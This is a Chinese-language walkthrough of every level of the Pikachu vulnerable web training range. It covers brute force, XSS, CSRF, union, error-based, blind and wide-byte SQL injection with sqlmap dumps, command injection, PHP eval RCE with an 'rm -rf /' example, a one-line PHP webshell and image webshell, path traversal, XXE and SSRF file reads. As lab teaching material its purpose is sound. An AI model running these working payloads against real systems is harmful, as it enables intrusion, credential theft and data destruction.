pikachu靶场通关详解

基于表单的暴力破解

首先我们随便写一个用户名个密码,然后点击登录,同时进行抓包

然后发送到爆破模块

添加payload位置,然后把字典放进去进行爆破

开始攻击

admin 123456 登录成功

验证码绕过(on server)

发现只要页面不刷新验证码就不会刷新,那么利用这个的话,用bp抓包爆破用户名和密码,但是验证码确没有改变,就可以成功登录。试一下。

然后跟上一关一样开始爆破用户名和密码

跟上一关是一样的

 验证码绕过(on client)

这里我们发现输入错误的验证码时是js,也就是前段,前端是不能完全去验证你的验证码的,我们禁用js,就可以绕过验证码错误这种问题。然后用bp抓包爆破密码和用户名就可以成功登录。

首先,禁用js

直接f12,再f1,点击禁用js

这时我们就绕过了验证码的正误问题。

bp抓包,步骤和前两关一样,用户名和密码依然一样

完事记得关掉禁用js

token防爆破?

肯定和token有关

先来了解一下什么是token

  • 这是一种用于验证用户身份的凭据。它就像是一把数字钥匙,当用户登录系统后,系统会为用户生成一个 token,这个 token 包含了用户的相关信息(如用户 ID、权限级别等),并且经过加密处理。之后用户在访问系统的其他受保护资源时,只要带上这个 token,系统就能识别用户身份并确定用户是否有权限进行访问。例如,在一个基于 Web 的应用程序中,用户登录后,服务器会生成一个 JSON Web Token(JWT)发送给客户端。客户端在后续向服务器请求数据(如获取用户的个人资料、进行交易等)时,会在请求头中带上这个 JWT,服务器通过验证 JWT 的有效性来允许或拒绝请求。

先抓包,这里添加payload的位置是password和token

payload类型要选择Pitchfork

然后第一个位置和前面一样,正常放入字典就好了

第二个:

先找到Grep-Extract,点击add,然后点击中间右边的按钮,在下面搜索token,然后选中token,点击ok。

这里选择payload类型为下面这个,然后将我们复制的token(上图那个,每个人不一样)复制到下面。

如果点击开始攻击时发现报错

来到资源池,创建新的资源池,把最大请求改为1

然后开始攻击

登录成功。

反射型xss(get)

先构造payload

<script>alert('xss')</script>
//alert输出括号里面的内容可以修改成为你自己想弹出的内容

然后发现还没输入完就无法输入了,这是因为输入的长度被限制了

打开f12,修改输入长度,这里看到最大输入长度只能是20

我们把它改大一点,记得不能刷新,刷新长度会恢复原有的设置,就在该界面下继续输入payload

 成功

反射性xss(post)

由于在之前暴力破解的时候获得了用户名和密码,所以我们直接用之前获得的进行登录

再试着用payload,成功。

存储型xss

 直接上payload,成功

那为何是存储型xss,点击上面的弹窗,发现还会出现一个弹窗,这说明我们输入的数据被存储起来了,这就是存储型xss

DOM型xss 

这时候发现输入之前的payload不对了

查看源码发现有一个单引号,要将它闭合

payload

'onclick=alert('xss')>

这样这句活就成了

<a href='' onclick=alert('xss')>'>what do you see?</a>

输入payload的后点击输入框下面的超链接,触发xss

DOM型xss-x

跟上一关一样,同样输入后点击输入框下面的超链接触发xss(两次都点击第一句话)

xss盲打 

查看源码

在源码里面看到这个提示,访问看看

直接登录

意思也就是说我们在前面执行的xss代码,在前端并不能看到,但是可以在后台看到xss是否执行成功,这也就是xss盲打

我们退出登录,并且输入payload

<script>alert('xss')</script>

 提交完成之后,我们再登录看是否执行成功

xss之过滤

当我提交<script>alert('xss')</script>时

然后以为是因为没有找到正确的闭合方式,所以我提交了'<script>alert('xss')</script><'

发现不是闭合方式不对,而是被过滤了,只剩下''><'',是script标签被过滤了

用其他方式绕过

<a href="" onclick="alert('xss')">

xss之htmlspecialchars

尝试输入之前的payload

查看源码

payload

' onclick='alert("xss")

 

xss之href输出

他说请输入一个常用的url地址。 

 输入payload : javascript:alert("xss")

javascript:这是一个伪协议,用于在浏览器中执行JavaScript代码。当浏览器遇到以 javascript: 开头的URL时,会尝试执行后面的JavaScript代码。

alert:是一个弹出警告框的函数,xss则是警告框弹出的内容。

xss之js输出

提示说叫我们试一下tmac

尝试一下以前的payload

<script>alert('xss')</script>

查看源码发现script标签闭合有问题

我们要闭合掉第一个script标签,所以我们输入payload

</script><script>alert('xss')</script>

CSRF(get)

看一下提示

这时我们随便登录一个账号

然后点击修改个人信息,在提交的时候用bp进行抓包。

点击操作,生成一个CSRF的poc

我们可以修改其中的信息,然后用浏览器测试

复制该链接,并在浏览器中打开。

点击提交

发现allen的信息被成功修改。

CSRF(POST)

这一关与get型操作方式相同。

同样提交的时候用bp进行拦截

然后生成一个恶意链接

放入浏览器中进行测试

修改成功

CSRF(Token)

token验证是无法伪造url来修改信息的,后台会验证我们提交的token和服务器中的token

SQL-数字型注入(post)

首先查询我们用bp抓包

接着发送到repeater

我们先输入 and 1=1,发现没有报错

我们再输入and 1=2,发现报错,

所以我们判断是数字型注入,不需要闭合符

接下来我们使用order by来判断可以显示的列

 当查询字段数为2时,页面正常显示

字段数为3时,报错,说明只有两列

判断每列显示的位置,payload:

id=-2 union select 1,2 

接下来查询数据库和数据库版本

id=-2 union select database(),version()

查询所有表 

id=-2 union select group_concat(table_name),2 from 
information_schema.tables where table_schema='pikachu'

查询users表中所有列

id=-2 union select group_concat(column_name),2 from
 information_schema.columns where table_schema='pikachu' and table_name='users'

 

 查询用户名和密码

id=-2 union select group_concat(username),group_concat(password) from users

然后将密码进行md5解密

SQL-字符型注入(get)

我们发现输入1' 报错

所以猜测闭合符为单引号 '

试一下万能密码

' or '1'='1

查询表和数据库,这一关可以直接在url中进行

1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() --+&submit=查询

 查询users表中的所有列

1' union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users' --+&submit=查询

 

查询用户名和密码

1' union select group_concat(username),group_concat(password) from users--+&submit=查询

同样用md5解密

密码是一样的

SQL-搜索型注入

需要使用sqlmap

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_search.php?name=kobe&submit=%E6%90%9C%E7%B4%A2"

 

探测出注入点和数据库类型及版本

接着爆库

--dbs:爆出所有数据库 sqlmap -u URL --dbs

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_search.php?name=kobe&submit=%E6%90%9C%E7%B4%A2"  --dbs

报表

--tables:爆出所有数据表 sqlmap -u URL -D 数据库名 --tables

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_search.php?name=kobe&submit=%E6%90%9C%E7%B4%A2"  -D "pikachu" --tables

爆字段名

爆出数据库表所有列 sqlmap -u URL -D 数据库名 -T 表名 --columns 

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_search.php?name=kobe&submit=%E6%90%9C%E7%B4%A2" -D "pikachu" -T "users" --columns

爆数据

爆出数据库中列中的所有数据 sqlmap -u URL -D 数据库名 -T 表名 -C 列名 --dump

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_search.php?name=kobe&submit=%E6%90%9C%E7%B4%A2" -D "pikachu" -T "users"  -C "username,password" --dump

SQL-xx型注入

同样用sqlmap

爆数据库

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_x.php?name=lili&submit=%E6%9F%A5%E8%AF%A2" --dbs

爆表

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_x.php?name=lili&submit=%E6%9F%A5%E8%AF%A2" -D "pikachu" --tables

爆字段

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_x.php?name=lili&submit=%E6%9F%A5%E8%AF%A2" -D "pikachu" -T "users" --columns

 爆数据

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_x.php?name=lili&submit=%E6%9F%A5%E8%AF%A2" -D "pikachu" -T "users" -C "username,password" --dump

 

SQL-"insert/updata"注入

(报错注入)

在注册账号时进行抓包

这里发现闭合符为单引号

查询数据库

username=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'

解释一下updatexml函数

UPDATEXML(XML_document, XPath_string, new_value)

若 XPath_string 格式非法,MySQL会抛出错误,并在错误信息中返回非法内容。

构造XPath 非法途径:

0x7e:十六进制的 ~ 符号(通常用于分隔敏感数据)。

(select database()):获取当前数据库名称。

最终生成的XPath路径形如 ~database_name~,因包含 ~ 导致XPath语法错误.

所以最终会报错如下:

XPATH syntax error: '~database_name~'

这时候就可以获取数据库名称

查询所有表,这里核心是一样的

username=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and'

查字段名

username=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) and'

查数据

username=1'and updatexml(1,concat(0x7e,substr((select group_concat(id,':',username,':',password) from users),1,31),0x7e),1) and'

UPDATEXML错误回显长度有限,通常限制为32字符,所以用substr 函数来回显全部数据

通过改变substr函数的长度可以回显一次性看不到的数据

SQL-delete注入

提示我们删除的时候好像有点问题

因此在删除时进行抓包

这一关空格被编译了,为了绕过编译,把空格替换为+

?id=60+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)

这个函数与上一个报错注入用法相同

查数据库

查表

?id=60+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1

查字段名

?id=60+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name='users'),0x7e),1)

查数据

?id=60+and+updatexml(1,concat(0x7e,substr((select+group_concat(id,':',username,':',password)+from+users),1,31),0x7e),1) 

跟上一关很相似

SQL-http头注入

先用他告诉你的用户名和密码进行登录

接着我们退出,用bp抓包

我们放掉第一个包

把第二个包留下

对UA头进行报错注入

查数据库

User-Agent: 1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

查表

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or'

查字段

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) and'

查数据

1'and updatexml(1,concat(0x7e,substr((select group_concat(id,':',username,':',password) from users),1,31),0x7e),1) and'

SQL-基于boolian的盲注

这里直接用sqlmap 直接扫

扫数据库

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_b.php?name=admin&submit=%E6%9F%A5%E8%AF%A2#" --dbs

爆表

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_b.php?name=admin&submit=%E6%9F%A5%E8%AF%A2#" -D "pikachu" --tables

爆字段

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_b.php?name=admin&submit=%E6%9F%A5%E8%AF%A2#" -D "pikachu" -T "users" --colu
mn

由于太慢了,这里扫出username和password之后就开始直接爆数据

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_b.php?name=admin&submit=%E6%9F%A5%E8%AF%A2#" -D "pikachu" -T "users" -C "username,password" --dump

SQL-基于时间的盲注

直接用sqlmap 跑起来

数据库

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_t.php?name=&submit=%E6%9F%A5%E8%AF%A2#" --dbs

爆表

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_t.php?name=&submit=%E6%9F%A5%E8%AF%A2#" -D "pikachu" --tables

这里由于和前几关操作一样,就直接爆数据库

python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_t.php?name=&submit=%E6%9F%A5%E8%AF%A2#" -D "pikachu" -T "users" -C "username,password" --dump

SQL-wide byte注入

宽字节注入(Wide Character SQL Injection)是一种利用数据库字符集多字节编码特性绕过转义机制的SQL注入攻击方式,常见于使用GBK、BIG5等多字节字符集的应用系统中。其核心是通过构造特殊字符序列,使数据库将转义符(如反斜杠\)与用户输入合并解析为一个合法字符,从而绕过过滤机制。

首先我们随便查询, 然后用bp进行抓包

然后我们构造payload,查询数据库

name=1%df' union select version(),database() --+

这里解释一下这个payload 的含义

核心就是%df'  会使反斜杠\ 被吞并,使单引号 ' 生效,以闭合原来的语句,让我们构造的sql语句生效

查表

name=1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查字段名

这时候如果直接输入'users',会因为这里的引号而报错,所以用16进制编码绕过

name=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

爆数据

name=1%df' union select group_concat(username),group_concat(password) from pikachu.users --+

RCE-exec "ping"

先ping下本地 127.0.0.1

然后使用管道符 | 查看c盘试一试  

127.0.0.1 | dir C:

RCE-exec "eval"

简单介绍一下eval函数的功能

eval 函数的功能

  • 定义eval 的作用是将字符串作为代码解析并执行。

    • 例如在 PHP 中:eval("echo 'Hello World';"); 会输出 Hello World

    • 在 Python 中:eval("print('Hello World')") 也会执行打印操作。

  • 动态性:开发者可以通过 eval 动态生成和执行代码,灵活性极高。

eval 如何导致 RCE 漏洞?

当用户输入的未经验证或过滤的数据直接传递给 eval 函数时,攻击者可以构造恶意字符串注入任意代码,从而实现 远程代码执行

攻击示例(以 PHP 为例)
// 漏洞代码:直接执行用户输入的参数
$input = $_GET['cmd'];
eval($input);
  • 攻击者通过 URL 传入参数:?cmd=system("whoami");

  • eval 会执行 system("whoami");,返回当前服务器的用户权限(如 www-data)。

  • 进一步可执行任意命令:?cmd=system("rm -rf /");(删除服务器文件)。

 这一关我们直接输入phpinfo();  就被执行了

文件包含-本地文件包含

先随便查询一下

可以尝试修改文件名

读取本地文件

?filename=C:/../../../../Windows\win.ini&submit=提交查询

先来了解一下这段payload

  • ../ 的作用:每个 ../ 表示返回上级目录。通过多次使用 ../../../../,攻击者试图从当前目录回退到根目录(如 C:\),再进入 Windows 目录。

  • 绕过目录限制:如果应用程序未对用户输入进行规范化处理,攻击者可通过路径遍历跳出受限制的目录(如Web根目录),访问系统敏感文件。

  • win.ini 文件:这是Windows早期版本的配置文件,现代系统中仍保留此文件(通常位于 C:\Windows\win.ini),内容可能包含部分系统信息。攻击者通过读取此文件验证漏洞是否利用成功。

 

文件包含-远程文件包含

同样先随便查询

这一关我们可以访问远程服务器的文件,比如百度

首先我们在D盘写一个一句话木马

   <?php @eval($_POST['cmd']); ?>

然后在终端运行

 了解一下这段命令

  • python3:显式调用 Python 3 解释器(在 Windows 中可能需要直接使用 python 命令)。

  • -m http.server:运行 Python 内置的 http.server 模块,将其作为一个简易的 HTTP 服务器。

  • 8000:指定服务器监听 8000 端口(如果省略端口号,默认使用 8000

 也就是说,这里我们开启了一个简易的http服务器,服务器地址是本机地址的8000端口

我们可以访问该地址

接着可以试着用蚁剑连接。

Unsafe filedownload 不安全的文件下载

上面说点击球员名字就可下载图像

这里我们也下载一个

然后修改文件名

http://pikachu/vul/unsafedownload/execdownload.php?filename=../../../index.php

就下载了index.php

unsafe fileupload 客户端check

尝试直接上传一句话木马,发现不允许

查看源码

那就禁用js  我用的是火狐浏览器,禁用js先f12 再f1

再上传一句话木马

用蚁剑连接成功。

unsafe fileupload服务端check

我们直接用bp抓包 发送到repeater模块  把文件类型改为 image/jpg

显示上传成功

用蚁剑连接

连接成功。

unsafe fileupload getimagesize()

这一关我们用图片码

copy muma.jpg/b + muma.php/a imagemuma.jpg

参考这一篇博客 

upload-labs 靶场通关详解_upload靶场通关-优快云博客  

有了图片马之后直接上传就好了

蚁剑

连接成功。这里连接的php文件依然是muma.php。

Over Permission  水平越权

先随便登录一个

可以修改url 上的名字实现水平越权

Over Permission  垂直越权

这里有普通用户和超级用户,超级用户有添加功能。

我们先登录超级用户

把添加用户的URL复制下来

然后退出超级用户,用pikachu 登录

粘贴我们之前复制的添加用户的URL

有hi,pikachu 说明成功了,接着我们添加一个用户 ,创建后用admin用户登录看是否成功。

创建成功,实现垂直越权。

../../   目录遍历

先随便看一下

然后修改参数后的文件路径和文件名

?title=C:../../../../../../windows\win.ini

这么多层目录是为了能够确保无论基础目录层级多深,都能跳转带根目录,而 \windows\win.ini 是Windows的经典系统文件路径。

敏感信息泄露 IcanseeyourABC

查看源码发现有一个测试账户

登录

PHP反序列化

题目中概述给了一段payload

也可以获取cookie

<?php
class S{
	var $test="<script>alert(document.cookie)</script>";
}
 
$a=new S();
echo serialize($a)
?>

XXE漏洞

XXE漏洞的实现原理

XML允许在文档中通过 <!ENTITY> 定义实体(变量),而外部实体(External Entity)可以引用本地文件、远程URL等资源。当XML解析器未禁用外部实体解析时,攻击者可通过构造恶意XML内容,实现攻击。

payload,直接在数据框中提交

<?xml version="1.0"?>
<!DOCTYPE ANY [            //方括号 [...] 内定义了实体(Entity)
     <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>    //定义一个名为 xxe 的外部实体。
<a>&xxe;</a>                                        //SYSTEM 表示该实体的内容来自外部资源。
                       //file:///c:/windows/win.ini 指定实体内容为本地文件 C:\windows\win.ini
 //在XML元素 <a> 中引用之前定义的实体 xxe,格式为 &xxe;
 //当XML解析器处理该文档时,会将 &xxe; 替换为 file:///c:/windows/win.ini 文件的内容。

成功读取win.ini 文件

URL重定向 不安全的url跳转

把这几个超链接都点一点 ,发现最后一个URL出现了参数

我们访问pikachu 试一下

?url=http://pikachu.com

成功跳转

SSRF(curl)

然后点这个链接,我点进去是报错的。

这里基本就是两种问题,第一个是前面pikachu地址的问题,然后就是url参数的问题。我把url的参数改正确了就可以正常访问了。

先找到pikachu靶场文件中Info1.php 文件的正确路径

然后进行修改(我访问pikachu是直接访问pikachu而不是127.0.0.1,所以我这里也要改一下)

正常访问

然后访问本机文件就成功实现了

SSRF(file_get_content)

这个链接我点进去的时候同样是报错,像上一关一样修改参数就好了

这一关也可以读取文件,但是要使用php伪协议。

?file=php://filter/read=convert.base64-encode/resource=c:../../../windows/win.ini

这个用base64解码就行了。

这篇博客可参考pikachu靶场全15关通过教程-优快云博客

### Pikachu靶场中的CSRF漏洞利用 #### 利用过程概述 在Pikachu靶场环境中,通过`Engagement tools-->Generate CSRF PoC`可以快速生成用于测试的CSRF攻击代码片段[^1]。此功能帮助理解如何构建恶意请求来操纵目标用户的浏览器行为。 #### 实际操作步骤展示 假设存在一个未充分保护表单提交接口的情况: - **获取原始HTTP请求** 使用Burp Suite或其他代理工具拦截并分析正常情况下客户端向服务器发送的数据包。 - **创建PoC (Proof of Concept)** 基于上述捕获到的信息,在Burp中选择该条记录后点击右键菜单里的选项自动生成HTML页面形式的CSRF攻击样本。这通常会是一个包含隐藏字段和自动提交机制的网页表单,当受害者访问这个特制链接时就会触发预期的操作而无需任何交互动作。 对于带有Token校验的情形下,尽管直接移除令牌不可行,但某些场景可能允许借助其他手段规避验证逻辑从而实现相同目的;不过值得注意的是这种做法往往意味着应用本身的安全设计存在一定缺陷[^2]。 ```html <!-- 示例性的CSRF PoC HTML --> <form action="http://example.com/vulnerable_endpoint" method="POST"> <!-- 这里应填充实际参数名及其默认值 --> <input type="hidden" name="param_name" value="some_value"/> <!-- 如果有防伪标记,则尝试找到可预测模式或其它方式绕过 --> </form> <script>document.forms[0].submit();</script> ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值